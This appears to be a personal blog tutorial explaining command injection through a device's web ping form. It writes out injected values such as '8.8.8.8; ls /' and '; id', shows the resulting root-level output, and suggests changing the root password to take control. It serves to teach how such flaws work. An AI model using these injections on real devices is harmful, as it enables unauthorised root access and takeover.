This has been something that I’ve had an interest for for many years and have dabbled in every now and then when I had the chance.

Every now and then you get a device that you soon figure out is running a flavour of Linux and you start wondering, can I get root access to it? 🤔 You start poking around and after a little while you find a HTML form that is not behaving as it should.

HTML Forms

Ping prompts

Ping prompts might be the easiest to see why it could be so easy to break.

In the form you might see something along the lines of an Address field and a Submit button.
You enter in the address and press the button, a few seconds later you get back a response along the lines of:

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=54 time=27.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=54 time=27.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=54 time=26.1 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=54 time=26.8 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 26.142/26.944/27.731/0.569 ms

If you’re familiar with Linux you quickly realize that this is the output of iputils-ping.
What you should also realize is that this command is being called from the application running the webserver.
With this information we can make some assumptions.

The command to get the exact output (except for the latency times and packet loss if any) is the following:

$ ping -c 4 8.8.8.8

From this we can extrapolate that the Address field from the form is populating the address used by the ping command.

Lets assume the command is run as: ping -c 4 ${address}
This shows that the address is a variable and is populate based on what was entered in the Address field.

Now, what would happen if we instead input 8.8.8.8; ls / in the Address field?
The variable would then be expanded to ping -c 4 8.8.8.8; ls / and give us the following result:

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=54 time=26.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=54 time=27.3 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=54 time=27.9 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=54 time=28.9 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 25.995/27.524/28.853/1.037 ms
bin   dev  home  lib64       media  opt   root  sbin  sys  usr
boot  etc  lib   lost+found  mnt    proc  run   srv   tmp  var

Notice the directory listing at the bottom.

Now for the final check, instead of listing the directory, we check which user is being used to run the webserver and as an extension the commands.
This we can achieve with the id command and would look like this: ; id.
The command will be expanded to ping -c 4 8.8.8.8; id and would give us the following result:

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=54 time=27.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=54 time=27.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=54 time=27.9 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=54 time=26.0 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 25.976/27.351/27.862/0.796 ms
uid=0(root) gid=0(root) groups=0(root)

This shows us that the root user is running the commands and we’re already in.
The only thing to do is to change the password of the root user.

What we’ve done in this example is what’s called Remote Code Execution (RCE) or Command Line Injection.